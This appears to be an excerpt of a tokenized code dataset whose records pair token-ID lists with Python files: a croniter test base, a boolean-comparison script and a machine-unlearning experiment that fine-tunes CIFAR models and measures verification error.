29900,
29892,
29896,
29913,
13,
9651,
16897,
29901,
450,
5700,
2696,
16897,
363,
445,
7581,
770,
3709,
320,
262,
518,
29900,
29892,
29896,
29962,
13,
4706,
16969,
29901,
13,
9651,
22663,
29901,
319,
8600,
310,
22663,
13,
9651,
451,
29918,
11940,
29901,
319,
1051,
310,
6031,
393,
892,
297,
421,
29990,
29952,
541,
451,
297,
421,
1311,
29889,
2176,
1412,
13,
4706,
9995,
13,
4706,
451,
29918,
11940,
353,
5159,
13,
13,
4706,
620,
353,
10518,
29889,
17271,
29898,
7554,
29898,
29990,
29892,
343,
511,
4341,
29922,
3366,
726,
613,
376,
29891,
20068,
13,
4706,
620,
353,
620,
29889,
14634,
29898,
1311,
29889,
2176,
29892,
373,
543,
726,
613,
920,
543,
1563,
1159,
13,
13,
4706,
451,
29918,
11940,
4619,
1051,
29898,
690,
29961,
690,
3366,
771,
5824,
16862,
275,
1056,
580,
29962,
3366,
726,
20068,
13,
13,
4706,
620,
353,
620,
29889,
8865,
1056,
29898,
6484,
29922,
3366,
771,
5824,
20068,
13,
13,
4706,
620,
3366,
11965,
29879,
3108,
353,
313,
690,
3366,
771,
5824,
3108,
1405,
16897,
467,
579,
668,
29898,
524,
29897,
13,
13,
4706,
544,
29892,
337,
29892,
285,
29896,
29892,
480,
353,
16716,
29918,
3757,
497,
29918,
29888,
13628,
29918,
5924,
29898,
690,
3366,
29891,
12436,
620,
3366,
11965,
29879,
20068,
13,
4706,
544,
353,
1051,
29898,
558,
29897,
13,
4706,
337,
353,
1051,
29898,
276,
29897,
13,
4706,
285,
29896,
353,
1051,
29898,
29888,
29896,
29897,
13,
4706,
480,
353,
1051,
29898,
2146,
29897,
13,
4706,
565,
451,
544,
29901,
13,
9651,
544,
353,
518,
7411,
703,
13707,
4968,
5785,
703,
13707,
13531,
13,
4706,
565,
451,
337,
29901,
13,
9651,
337,
353,
518,
7411,
703,
13707,
4968,
5785,
703,
13707,
13531,
13,
4706,
565,
451,
285,
29896,
29901,
13,
9651,
285,
29896,
353,
518,
7411,
703,
13707,
4968,
5785,
703,
13707,
13531,
13,
4706,
565,
451,
480,
29901,
13,
9651,
480,
353,
518,
7411,
703,
13707,
4968,
5785,
703,
13707,
13531,
13,
13,
4706,
1018,
29901,
13,
9651,
696,
353,
696,
29883,
29918,
14766,
29918,
13628,
29898,
690,
3366,
29891,
12436,
620,
3366,
771,
5824,
20068,
13,
4706,
5174,
7865,
2392,
29901,
13,
9651,
696,
353,
5785,
703,
13707,
1159,
13,
13,
4706,
1018,
29901,
13,
9651,
782,
558,
353,
6588,
29918,
17990,
2459,
29918,
13628,
29898,
690,
3366,
29891,
12436,
620,
3366,
771,
5824,
20068,
13,
4706,
5174,
7865,
2392,
322,
11374,
2392,
29901,
13,
9651,
782,
558,
353,
5785,
703,
13707,
1159,
13,
13,
4706,
1018,
29901,
13,
9651,
260,
29876,
29892,
285,
29886,
29892,
7876,
29892,
260,
29886,
353,
14679,
29918,
5344,
29898,
690,
3366,
29891,
12436,
620,
3366,
11965,
29879,
3108,
467,
336,
955,
580,
13,
4706,
5174,
7865,
2392,
29901,
13,
9651,
260,
29876,
353,
285,
29886,
353,
7876,
353,
260,
29886,
353,
5785,
703,
13707,
1159,
13,
13,
4706,
22663,
353,
426,
13,
9651,
376,
558,
1115,
544,
29892,
13,
9651,
376,
276,
1115,
337,
29892,
13,
9651,
376,
29888,
29896,
1115,
285,
29896,
29892,
13,
9651,
376,
2146,
1115,
480,
29892,
13,
9651,
376,
307,
1115,
696,
29892,
13,
9651,
376,
585,
558,
1115,
782,
558,
29892,
13,
9651,
376,
6277,
1115,
260,
29876,
29892,
13,
9651,
376,
18091,
1115,
285,
29886,
29892,
13,
9651,
376,
9144,
1115,
7876,
29892,
13,
9651,
376,
9392,
1115,
260,
29886,
29892,
13,
4706,
500,
13,
13,
4706,
736,
22663,
29892,
451,
29918,
11940,
13,
13,
13,
1753,
10272,
29918,
2527,
10817,
29898,
3259,
29918,
3972,
29892,
27262,
29918,
20401,
29918,
2176,
29892,
16897,
29901,
5785,
353,
29871,
29900,
29889,
29945,
1125,
13,
1678,
9995,
13,
1678,
10567,
29879,
29901,
13,
4706,
1873,
29918,
3972,
29901,
18862,
310,
278,
1904,
29889,
13,
4706,
27262,
29918,
20401,
29918,
2176,
29901,
319,
11701,
12205,
411,
29871,
29906,
28730,
6024,
726,
742,
525,
771,
5824,
2033,
13,
9651,
6943,
278,
27262,
2582,
515,
263,
1904,
29889,
13,
4706,
16897,
29901,
450,
5700,
2696,
16897,
363,
445,
7581,
770,
3709,
320,
262,
518,
29900,
29892,
29896,
29962,
13,
13,
1678,
16969,
29901,
13,
1678,
426,
13,
4706,
376,
14968,
1115,
426,
13,
9651,
376,
558,
1115,
518,
10052,
29918,
1990,
29901,
7411,
29892,
926,
29918,
1990,
29901,
7411,
1402,
13,
9651,
376,
276,
1115,
518,
10052,
29918,
1990,
29901,
7411,
29892,
926,
29918,
1990,
29901,
7411,
1402,
13,
9651,
376,
29888,
29896,
1115,
518,
10052,
29918,
1990,
29901,
7411,
29892,
926,
29918,
1990,
29901,
7411,
1402,
13,
9651,
376,
2146,
1115,
518,
10052,
29918,
1990,
29901,
524,
29892,
926,
29918,
1990,
29901,
524,
1402,
13,
9651,
376,
307,
1115,
5785,
29892,
13,
9651,
376,
585,
558,
1115,
5785,
29892,
13,
9651,
376,
6277,
1115,
938,
313,
2798,
511,
13,
9651,
376,
9392,
1115,
938,
313,
2798,
511,
13,
9651,
376,
9144,
1115,
938,
313,
2798,
511,
13,
9651,
376,
18091,
1115,
938,
313,
2798,
511,
13,
4706,
2981,
13,
4706,
376,
1688,
1115,
426,
13,
9651,
396,
1021,
22663,
408,
7945,
13,
4706,
500,
13,
4706,
376,
1333,
29918,
11940,
1115,
2391,
29961,
710,
29962,
310,
6455,
591,
8496,
29915,
29873,
679,
27262,
363,
13,
1678,
500,
13,
13,
1678,
6804,
278,
6611,
2317,
363,
29901,
13,
1678,
448,
544,
29901,
349,
3757,
2459,
13,
1678,
448,
337,
29901,
3599,
497,
13,
1678,
448,
285,
29896,
29901,
383,
29896,
2522,
487,
13,
1678,
448,
480,
29901,
18601,
29892,
278,
1353,
310,
4452,
5545,
363,
445,
12714,
13,
1678,
448,
696,
29901,
16641,
29907,
319,
23129,
13,
1678,
448,
782,
558,
29901,
319,
4897,
29934,
13,
1678,
448,
260,
29876,
29901,
5852,
12610,
1230,
13,
1678,
448,
260,
29886,
29901,
5852,
10321,
3321,
13,
1678,
448,
7876,
29901,
7700,
12610,
1230,
13,
1678,
448,
285,
29886,
29901,
7700,
10321,
3321,
13,
13,
1678,
2811,
736,
385,
1203,
411,
25182,
21274,
565,
278,
21556,
2609,
367,
13,
1678,
15712,
313,
29872,
29889,
29887,
29889,
565,
1904,
756,
451,
1063,
16370,
467,
13,
1678,
9995,
13,
13,
1678,
2295,
29918,
29888,
978,
353,
903,
657,
29918,
2917,
29918,
29888,
978,
29898,
3259,
29918,
3972,
29897,
13,
1678,
848,
29918,
29888,
978,
353,
903,
657,
29918,
15843,
287,
29918,
1272,
29918,
29888,
978,
29898,
3259,
29918,
3972,
29897,
13,
13,
1678,
17117,
17117,
1060,
29918,
14968,
29892,
343,
29918,
14968,
29892,
1060,
29918,
1688,
29892,
343,
29918,
1688,
353,
903,
19125,
29918,
1272,
29898,
2917,
29918,
29888,
978,
29892,
848,
29918,
29888,
978,
29897,
13,
13,
1678,
527,
353,
512,
1659,
10095,
10817,
29898,
262,
1659,
29918,
20401,
29918,
2176,
29897,
13,
13,
1678,
534,
29918,
16202,
29892,
534,
29918,
1333,
29918,
11940,
353,
527,
29889,
26017,
29918,
2527,
10817,
29898,
29990,
29918,
14968,
29892,
343,
29918,
14968,
29892,
16897,
29897,
13,
1678,
18696,
29918,
16202,
29892,
18696,
29918,
1333,
29918,
11940,
353,
527,
29889,
26017,
29918,
2527,
10817,
29898,
29990,
29918,
1688,
29892,
343,
29918,
1688,
29892,
16897,
29897,
13,
13,
1678,
22663,
353,
426,
13,
4706,
376,
14968,
1115,
534,
29918,
16202,
29892,
13,
4706,
376,
1688,
1115,
18696,
29918,
16202,
29892,
13,
4706,
376,
1333,
29918,
11940,
1115,
534,
29918,
1333,
29918,
11940,
718,
18696,
29918,
1333,
29918,
11940,
29892,
13,
1678,
500,
13,
13,
1678,
736,
22663,
13,
2
] |
modules/dbnd/src/dbnd/_vendor/croniter/tests/base.py | ipattarapong/dbnd | 224 | 120446 | try:
import unittest2 as unittest
except ImportError:
import unittest
class TestCase(unittest.TestCase):
'''
We use this base class for all the tests in this package.
If necessary, we can put common utility or setup code in here.
'''
# vim:set ft=python:
| [
1,
1018,
29901,
13,
1678,
1053,
443,
27958,
29906,
408,
443,
27958,
13,
19499,
16032,
2392,
29901,
13,
1678,
1053,
443,
27958,
13,
13,
13,
1990,
4321,
8259,
29898,
348,
27958,
29889,
3057,
8259,
1125,
13,
1678,
14550,
13,
1678,
1334,
671,
445,
2967,
770,
363,
599,
278,
6987,
297,
445,
3577,
29889,
13,
1678,
960,
5181,
29892,
591,
508,
1925,
3619,
19725,
470,
6230,
775,
297,
1244,
29889,
13,
1678,
14550,
13,
13,
29937,
325,
326,
29901,
842,
11791,
29922,
4691,
29901,
13,
2
] |
tests/bool/boolop.py | chrivers/pyjaco | 38 | 88045 | A = [1, 2, 3, 4, 5, 6]
B = [1, 2, 3, 4, 5, 6]
C = [1, 2, 3, 4, 5, 6]
for a in A:
for b in B:
for c in C:
if a > b > c:
print ">", (a, b, c)
if a < b < c:
print ">", (a, b, c)
if a >= b >= c:
print ">=", (a, b, c)
if a <= b <= c:
print "<=", (a, b, c)
| [
1,
319,
353,
518,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
29892,
29871,
29946,
29892,
29871,
29945,
29892,
29871,
29953,
29962,
13,
29933,
353,
518,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
29892,
29871,
29946,
29892,
29871,
29945,
29892,
29871,
29953,
29962,
13,
29907,
353,
518,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
29892,
29871,
29946,
29892,
29871,
29945,
29892,
29871,
29953,
29962,
13,
13,
1454,
263,
297,
319,
29901,
13,
1678,
363,
289,
297,
350,
29901,
13,
4706,
363,
274,
297,
315,
29901,
13,
9651,
565,
263,
1405,
289,
1405,
274,
29901,
13,
18884,
1596,
376,
28341,
313,
29874,
29892,
289,
29892,
274,
29897,
13,
9651,
565,
263,
529,
289,
529,
274,
29901,
13,
18884,
1596,
376,
28341,
313,
29874,
29892,
289,
29892,
274,
29897,
13,
9651,
565,
263,
6736,
289,
6736,
274,
29901,
13,
18884,
1596,
376,
29958,
543,
29892,
313,
29874,
29892,
289,
29892,
274,
29897,
13,
9651,
565,
263,
5277,
289,
5277,
274,
29901,
13,
18884,
1596,
9872,
543,
29892,
313,
29874,
29892,
289,
29892,
274,
29897,
13,
2
] |
Unlearning/correlation_verification.py | cleverhans-lab/unrolling-sgd | 3 | 77023 | import torch
import torch.nn as nn
import torch.optim as optim
import torch.nn.functional as F
import torch.backends.cudnn as cudnn
import copy
import torchvision
import torchvision.transforms as transforms
import numpy as np
from PyHessian.pyhessian import hessian # Hessian computation
from ResNet_CIFAR10 import *
from VGG_model import *
import os
import argparse
#=====================================================================
#============== ANVITHS HELPERS FOR L2 NORM OF WEIGHTS ===============
#=====================================================================
def set_weights_fast(x, weights):
with torch.no_grad():
start = 0
#index = 0
for weight in weights:
length = len(weight.view(-1))
array = x[start:start+length]
weight_new = torch.Tensor(array).view(*weight.shape)
weight.data.copy_(weight_new)
#index +=1
start += length
#puts the weights into a list, but faster
def weights_to_list_fast(weights):
with torch.no_grad():
weights_list = []
for weight in weights:
list_t = weight.view(-1).tolist()
weights_list = weights_list + list_t
return weights_list
#=====================================================================
#=====================================================================
#=====================================================================
#####################################################################
################### Some Loss functions things ######################
#####################################################################
def std_loss(x,y):
log_prob = -1.0 * F.log_softmax(x, 1)
loss = log_prob.gather(1, y.unsqueeze(1))
loss = loss.mean()
avg_std = torch.sum(torch.std(x, dim=1))/(len(x.view(-1)))
loss = loss + std_reg*avg_std
return loss
std_reg =1.0
parser = argparse.ArgumentParser(description='Finetuning for verification error')
parser.add_argument('--lr', default=0.1, type=float, help='learning rate')
parser.add_argument('--model', default='resnet', type=str, help='resnet or vgg')
parser.add_argument('--loss_func', default='regular', type=str, help='loss function: regular,hessian, hessianv2, std_loss')
parser.add_argument('--dataset', default = 'cifar10', type=str, help ='cifar10, cifar100')
parser.add_argument('--pretrain_epochs', default=10, type=int, help='number of pretraining epochs')
parser.add_argument('--pretrain_batch_size', default=32, type=int, help='pretraining batch size')
parser.add_argument('--finetune_batch_size', default=32, type=int, help='finetuning batch size')
parser.add_argument('--unlearn_batch', default=114, type=int, help='what batch of data should be unlearned')
parser.add_argument('--finetune_epochs', default=1, type=int, help='number of finetuning epochs')
args = parser.parse_args()
device = 'cuda' if torch.cuda.is_available() else 'cpu'
#=====================================================================
#==================== CONSTRUCTING ALL THE DIFFERENT DATA SETS =======
#=====================================================================
print('==> Preparing Data...')
if args.dataset == 'cifar10':
transform_train = transforms.Compose([
transforms.RandomCrop(32, padding=4),
transforms.RandomHorizontalFlip(),
transforms.ToTensor(),
transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),])
transform_test = transforms.Compose([
transforms.ToTensor(),
transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),])
trainset = torchvision.datasets.CIFAR10(root='./data', train=True, download=True, transform=transform_train)
trainloader = torch.utils.data.DataLoader(trainset, batch_size=args.finetune_batch_size, shuffle=False, num_workers=2)
testset = torchvision.datasets.CIFAR10(root='./data', train=False, download=True, transform=transform_test)
testloader = torch.utils.data.DataLoader(testset, batch_size=args.finetune_batch_size, shuffle=False, num_workers=2)
num_classes = 10
if args.dataset == 'cifar100':
transform_train = transforms.Compose([
transforms.RandomCrop(32, padding=4),
transforms.RandomHorizontalFlip(),
transforms.RandomRotation(15),
transforms.ToTensor(),
transforms.Normalize( (0.5070751592371323, 0.48654887331495095, 0.4409178433670343), (0.2673342858792401, 0.2564384629170883, 0.27615047132568404))
])
trainset = torchvision.datasets.CIFAR100(root='./data', train=True, download=True, transform=transform_train)
trainloader = torch.utils.data.DataLoader(trainset, shuffle=False, num_workers=2, batch_size=args.finetune_batch_size)
transform_test = transforms.Compose([
transforms.ToTensor(),
transforms.Normalize((0.5070751592371323, 0.48654887331495095, 0.4409178433670343), (0.2673342858792401, 0.2564384629170883, 0.27615047132568404))])
testset = torchvision.datasets.CIFAR100(root='./data', train=False, download=True, transform=transform_test)
testloader= torch.utils.data.DataLoader(testset, shuffle=False, num_workers=2, batch_size=args.finetune_batch_size)
num_classes = 100
#transform_train = transforms.Compose([transforms.RandomCrop(32, padding=4),transforms.RandomHorizontalFlip(),transforms.ToTensor(),transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),])
#trainset = torchvision.datasets.CIFAR10(root='./data', train=True, download=True, transform=transform_train)
#trainloader = torch.utils.data.DataLoader(trainset, batch_size=args.finetune_batch_size, shuffle=True, num_workers=2)
#transform_test = transforms.Compose([transforms.ToTensor(),transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),])
#testset = torchvision.datasets.CIFAR10(root='./data', train=False, download=True, transform=transform_test)
#testloader = torch.utils.data.DataLoader(testset, batch_size=100, shuffle=False, num_workers=2)
print('==> Preparing Hessian data..')
trainset_list = list(trainset)
hessian_loader = trainset_list[:512]
hessian_loader = torch.utils.data.DataLoader(hessian_loader, batch_size=512, shuffle=False, num_workers=2)
print('==> Preparing Finetuning data...')
batch_star = trainset_list[args.finetune_batch_size * args.unlearn_batch: args.finetune_batch_size * (args.unlearn_batch+1)]
data_no_unlearned = trainset_list[:args.finetune_batch_size * args.unlearn_batch] + trainset_list[args.finetune_batch_size * (args.unlearn_batch+1):]
unlearned_loader = torch.utils.data.DataLoader(batch_star, batch_size=args.finetune_batch_size, shuffle=False, num_workers=2)
#Getting model
#=====================================================================
#============== GETTING PRETRAINED MODEL ============= ===============
#=====================================================================
print('==> Building model..')
if args.model == 'resnet':
net = ResNet18(num_classes)
if args.model == 'vgg':
net = VGG('VGG19',num_classes)
net = net.to(device)
if device == 'cuda':
net = torch.nn.DataParallel(net)
cudnn.benchmark = True
print('==> Loading in pre-trained model..')
assert os.path.isdir('Final_pretrained_models'), 'Error: no checkpoint directory found!'
checkpoint = torch.load(f'./Final_pretrained_models/{args.model}_{args.dataset}_{args.loss_func}_{args.pretrain_batch_size}_{args.pretrain_epochs}.pth')
net.load_state_dict(checkpoint['net'])
#saving the weights of the pretrained model
M_pretrain = copy.deepcopy(net)
w_pretrain_weights_tensor = [param for param in M_pretrain.parameters()]
w_pretrain_weights = weights_to_list_fast(w_pretrain_weights_tensor)
print('==> Beginning iteration over T=0 to T=500...')
data_ret = {}
#1. Initialize your 2 models: M and M'
M = copy.deepcopy(M_pretrain)
M_retrained = copy.deepcopy(M_pretrain)
M.train()
M_retrained.train()
criterion_unl = nn.CrossEntropyLoss()
#initialize the loss functions, optimizers and schedulers for both models
criterion = nn.CrossEntropyLoss()
optimizer = optim.SGD(M.parameters(), lr=args.lr,momentum=0.9, weight_decay=5e-4)
scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer, T_max=200)
criterion_retrain = nn.CrossEntropyLoss()
optimizer_retrain = optim.SGD(M_retrained.parameters(), lr=args.lr,momentum=0.9, weight_decay=5e-4)
scheduler_retrain = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer_retrain, T_max=200)
#the data that we are finetuning on (with x* at the beginning)
data = batch_star + data_no_unlearned
data_loader = torch.utils.data.DataLoader(data, batch_size = args.finetune_batch_size, shuffle = False, num_workers = 2)
sigma_list = []
print(' T = ',len(data_loader))
#we need some lists for statistics
sigma_list = []
delta_weights_list = []
unl_error_list = []
rolling_unl_error_list = []
ver_error_list = []
hessian_criterion = nn.CrossEntropyLoss()
for ep in range(0,args.finetune_epochs):
for main_idx,(inputs, targets) in enumerate(data_loader):
M.train()
print('Epoch = ',ep, 'on t = ',main_idx)
inputs, targets = inputs.to(device), targets.to(device)
if main_idx ==0:
#only update M:
optimizer.zero_grad()
outputs_M = M(inputs)
if args.loss_func == 'regular':
loss_M = criterion(outputs_M, targets)
if args.loss_func == 'std':
loss_M = std_loss(outputs_M,targets)
loss_M.backward()
optimizer.step()
if main_idx !=0:
#update both M and M'
optimizer.zero_grad()
outputs_M = M(inputs)
if args.loss_func == 'regular':
loss_M = criterion(outputs_M, targets)
if args.loss_func == 'std':
loss_M = std_loss(outputs_M,targets)
loss_M.backward()
optimizer.step()
optimizer_retrain.zero_grad()
outputs_retrain = M_retrained(inputs)
if args.loss_func == 'regular':
loss_retrain = criterion(outputs_retrain, targets)
if args.loss_func == 'std':
loss_retrain = std_loss(outputs_retrain,targets)
loss_retrain.backward()
optimizer_retrain.step()
M.eval()
for i,(img,label) in enumerate(hessian_loader):
img = img.cuda()
label = label.cuda()
break
if args.loss_func == 'regular':
hessian_comp = hessian(M, hessian_criterion, data=(img, label), cuda=True)
if args.loss_func == 'std':
hessian_comp = hessian(M, std_loss, data=(img, label), cuda=True)
top_eigenvalues, top_eigenvector = hessian_comp.eigenvalues()
sigma = np.sqrt(top_eigenvalues[-1])
sigma_list.append(sigma)
#Now, save the weights of both M_(N+t) and M'_(N+t)
M_weights_tensor = [param for param in M.parameters()]
w_M_weights = weights_to_list_fast(M_weights_tensor)
M_retrain_tensor = [param for param in M_retrained.parameters()]
w_M_retrain_weights = weights_to_list_fast(M_retrain_tensor)
#Now, get M''_(N+t)
M_unlearned = copy.deepcopy(M)
optimizer_unlearned = optim.SGD(M_unlearned.parameters(), lr=args.lr,momentum=0.9, weight_decay=5e-4)
scheduler_unlearned = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer_unlearned, T_max=200)
M_unlearned.train()
M_pretrain.train()
for i,(img,label) in enumerate(unlearned_loader):
img = img.cuda()
label = label.cuda()
output_pre = M_pretrain(img)
if args.loss_func == 'regular':
loss_unl = criterion(output_pre, label)
if args.loss_func == 'std':
loss_unl = std_loss(output_pre,label)
loss_unl.backward(retain_graph=True)
grads = torch.autograd.grad(loss_unl, [param for param in M_pretrain.parameters()],create_graph = True)
old_params = {}
for i, (name, params) in enumerate(M.named_parameters()):
old_params[name] = params.clone()
old_params[name] += (ep+1) * args.lr * grads[i]
for name, params in M_unlearned.named_parameters():
params.data.copy_(old_params[name])
M_unlearned_tensor = [param for param in M_unlearned.parameters()]
w_M_unlearned_weights = weights_to_list_fast(M_unlearned_tensor)
#Now that we have the 3 models, M_(N+t), M'_(N+t) and M''_(N+t), let's compute the unlearning error of M. We will do this two ways: one with a running average sigma, one without
#print('calculating unl error....')
delta_weights = np.linalg.norm((np.array(w_M_weights) - np.array(w_pretrain_weights)))
#print('wow, sigma is = ',sigma)
unl_error = (args.lr * args.lr) *((len(data_loader)*ep)+ main_idx) *(1/2) * delta_weights *sigma
rolling_unl_error = (args.lr * args.lr) *((len(data_loader)*ep)+ main_idx) *(1/2) * delta_weights * (sum(sigma_list)/len(sigma_list))
#now compute the verification error
verification_error = np.linalg.norm((np.array(w_M_retrain_weights) - np.array(w_M_unlearned_weights)))
delta_weights_list.append(delta_weights)
unl_error_list.append(unl_error)
rolling_unl_error_list.append(rolling_unl_error)
ver_error_list.append(verification_error)
#print('rolling unlearning error is = ', rolling_unl_error)
#print('unl error is ', unl_error)
#print('sigma is ', sum(sigma_list)/len(sigma_list))
#print('delta weights is', delta_weights)
ret = {}
ret['sigma'] = sigma_list
ret['delta weights'] = delta_weights_list
ret['verification error'] = ver_error_list
ret['unlearning error'] = unl_error_list
ret['rolling unlearning error'] = rolling_unl_error_list
import pickle
if not os.path.isdir('final_correlation_results'):
os.mkdir('final_correlation_results')
path = f'./final_correlation_results/{args.model}_{args.dataset}_{args.loss_func}_{args.pretrain_batch_size}_{args.pretrain_epochs}_{args.finetune_batch_size}_{args.finetune_epochs}.p'
pickle.dump(ret, open(path, 'wb'))
| [
1,
1053,
4842,
305,
13,
5215,
4842,
305,
29889,
15755,
408,
302,
29876,
13,
5215,
4842,
305,
29889,
20640,
408,
5994,
13,
5215,
4842,
305,
29889,
15755,
29889,
2220,
284,
408,
383,
13,
5215,
4842,
305,
29889,
1627,
1975,
29889,
29883,
566,
15755,
408,
274,
566,
15755,
13,
5215,
3509,
13,
5215,
4842,
305,
4924,
13,
5215,
4842,
305,
4924,
29889,
9067,
29879,
408,
4327,
29879,
13,
5215,
12655,
408,
7442,
13,
3166,
10772,
29950,
404,
713,
29889,
2272,
29882,
404,
713,
1053,
298,
404,
713,
396,
379,
404,
713,
16287,
13,
3166,
2538,
6779,
29918,
29907,
6545,
1718,
29896,
29900,
1053,
334,
13,
3166,
478,
26788,
29918,
4299,
1053,
334,
13,
5215,
2897,
13,
5215,
1852,
5510,
13,
13,
29937,
9166,
9166,
9166,
9166,
2751,
29922,
13,
29937,
4936,
2751,
1360,
13764,
29963,
13054,
29903,
379,
6670,
13171,
29903,
15842,
365,
29906,
405,
12054,
8079,
399,
29923,
22530,
29903,
1275,
4936,
2751,
29922,
13,
29937,
9166,
9166,
9166,
9166,
2751,
29922,
13,
1753,
731,
29918,
705,
5861,
29918,
11255,
29898,
29916,
29892,
18177,
1125,
13,
29871,
411,
4842,
305,
29889,
1217,
29918,
5105,
7295,
13,
1678,
1369,
353,
29871,
29900,
13,
1678,
396,
2248,
353,
29871,
29900,
13,
1678,
363,
7688,
297,
18177,
29901,
13,
418,
3309,
353,
7431,
29898,
7915,
29889,
1493,
6278,
29896,
876,
13,
418,
1409,
353,
921,
29961,
2962,
29901,
2962,
29974,
2848,
29962,
13,
418,
7688,
29918,
1482,
353,
4842,
305,
29889,
29911,
6073,
29898,
2378,
467,
1493,
10456,
7915,
29889,
12181,
29897,
13,
13,
418,
7688,
29889,
1272,
29889,
8552,
23538,
7915,
29918,
1482,
29897,
13,
418,
396,
2248,
4619,
29896,
13,
418,
1369,
4619,
3309,
13,
13,
13,
29937,
649,
29879,
278,
18177,
964,
263,
1051,
29892,
541,
8473,
13,
1753,
18177,
29918,
517,
29918,
1761,
29918,
11255,
29898,
705,
5861,
1125,
13,
29871,
411,
4842,
305,
29889,
1217,
29918,
5105,
7295,
13,
1678,
18177,
29918,
1761,
353,
5159,
13,
1678,
363,
7688,
297,
18177,
29901,
13,
418,
1051,
29918,
29873,
353,
7688,
29889,
1493,
6278,
29896,
467,
25027,
391,
580,
13,
418,
18177,
29918,
1761,
353,
18177,
29918,
1761,
718,
1051,
29918,
29873,
13,
13,
1678,
736,
18177,
29918,
1761,
13,
29937,
9166,
9166,
9166,
9166,
2751,
29922,
13,
29937,
9166,
9166,
9166,
9166,
2751,
29922,
13,
29937,
9166,
9166,
9166,
9166,
2751,
29922,
13,
13,
13383,
13383,
13383,
13383,
4136,
29937,
13,
13383,
2277,
29937,
3834,
365,
2209,
3168,
2712,
835,
13383,
2277,
29937,
13,
13383,
13383,
13383,
13383,
4136,
29937,
13,
1753,
3659,
29918,
6758,
29898,
29916,
29892,
29891,
1125,
13,
1678,
1480,
29918,
22795,
353,
448,
29896,
29889,
29900,
334,
383,
29889,
1188,
29918,
2695,
3317,
29898,
29916,
29892,
29871,
29896,
29897,
13,
1678,
6410,
353,
1480,
29918,
22795,
29889,
29887,
1624,
29898,
29896,
29892,
343,
29889,
6948,
802,
29872,
911,
29898,
29896,
876,
13,
1678,
6410,
353,
6410,
29889,
12676,
580,
13,
1678,
1029,
29887,
29918,
4172,
353,
4842,
305,
29889,
2083,
29898,
7345,
305,
29889,
4172,
29898,
29916,
29892,
3964,
29922,
29896,
876,
14571,
2435,
29898,
29916,
29889,
1493,
6278,
29896,
4961,
13,
1678,
6410,
353,
6410,
718,
3659,
29918,
1727,
29930,
485,
29887,
29918,
4172,
13,
1678,
736,
6410,
13,
13,
4172,
29918,
1727,
353,
29896,
29889,
29900,
13,
16680,
353,
1852,
5510,
29889,
15730,
11726,
29898,
8216,
2433,
29943,
10157,
27964,
363,
1147,
2450,
1059,
1495,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
29212,
742,
2322,
29922,
29900,
29889,
29896,
29892,
1134,
29922,
7411,
29892,
1371,
2433,
21891,
6554,
1495,
13,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
4299,
742,
2322,
2433,
690,
1212,
742,
1134,
29922,
710,
29892,
1371,
2433,
690,
1212,
470,
325,
1505,
1495,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
6758,
29918,
9891,
742,
2322,
2433,
15227,
742,
1134,
29922,
710,
29892,
1371,
2433,
6758,
740,
29901,
4943,
29892,
29882,
404,
713,
29892,
298,
404,
713,
29894,
29906,
29892,
3659,
29918,
6758,
1495,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
24713,
742,
2322,
353,
525,
29883,
361,
279,
29896,
29900,
742,
1134,
29922,
710,
29892,
1371,
353,
29915,
29883,
361,
279,
29896,
29900,
29892,
274,
361,
279,
29896,
29900,
29900,
1495,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
1457,
14968,
29918,
1022,
2878,
29879,
742,
2322,
29922,
29896,
29900,
29892,
1134,
29922,
524,
29892,
1371,
2433,
4537,
310,
758,
26495,
21502,
12168,
1495,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
1457,
14968,
29918,
16175,
29918,
2311,
742,
2322,
29922,
29941,
29906,
29892,
1134,
29922,
524,
29892,
1371,
2433,
1457,
26495,
9853,
2159,
1495,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
4951,
300,
1540,
29918,
16175,
29918,
2311,
742,
2322,
29922,
29941,
29906,
29892,
1134,
29922,
524,
29892,
1371,
2433,
4951,
300,
27964,
9853,
2159,
1495,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
348,
19668,
29918,
16175,
742,
2322,
29922,
29896,
29896,
29946,
29892,
1134,
29922,
524,
29892,
1371,
2433,
5816,
9853,
310,
848,
881,
367,
443,
1945,
9571,
1495,
13,
16680,
29889,
1202,
29918,
23516,
877,
489,
4951,
300,
1540,
29918,
1022,
2878,
29879,
742,
2322,
29922,
29896,
29892,
1134,
29922,
524,
29892,
1371,
2433,
4537,
310,
1436,
300,
27964,
21502,
12168,
1495,
13,
5085,
353,
13812,
29889,
5510,
29918,
5085,
580,
13,
13,
10141,
353,
525,
29883,
6191,
29915,
565,
4842,
305,
29889,
29883,
6191,
29889,
275,
29918,
16515,
580,
1683,
525,
21970,
29915,
13,
13,
13,
29937,
9166,
9166,
9166,
9166,
2751,
29922,
13,
29937,
9166,
2751,
8707,
10810,
29965,
1783,
4214,
15149,
6093,
22471,
28483,
3919,
360,
8254,
11368,
29903,
1275,
2751,
29922,
13,
29937,
9166,
9166,
9166,
9166,
2751,
29922,
13,
2158,
877,
1360,
29958,
4721,
862,
292,
3630,
856,
1495,
13,
13,
361,
6389,
29889,
24713,
1275,
525,
29883,
361,
279,
29896,
29900,
2396,
13,
1678,
4327,
29918,
14968,
353,
4327,
29879,
29889,
1523,
4220,
4197,
13,
4706,
4327,
29879,
29889,
17875,
29907,
1336,
29898,
29941,
29906,
29892,
7164,
29922,
29946,
511,
13,
4706,
4327,
29879,
29889,
17875,
24932,
29943,
3466,
3285,
13,
4706,
4327,
29879,
29889,
1762,
29911,
6073,
3285,
13,
4706,
4327,
29879,
29889,
19077,
675,
3552,
29900,
29889,
29946,
29929,
29896,
29946,
29892,
29871,
29900,
29889,
29946,
29947,
29906,
29906,
29892,
29871,
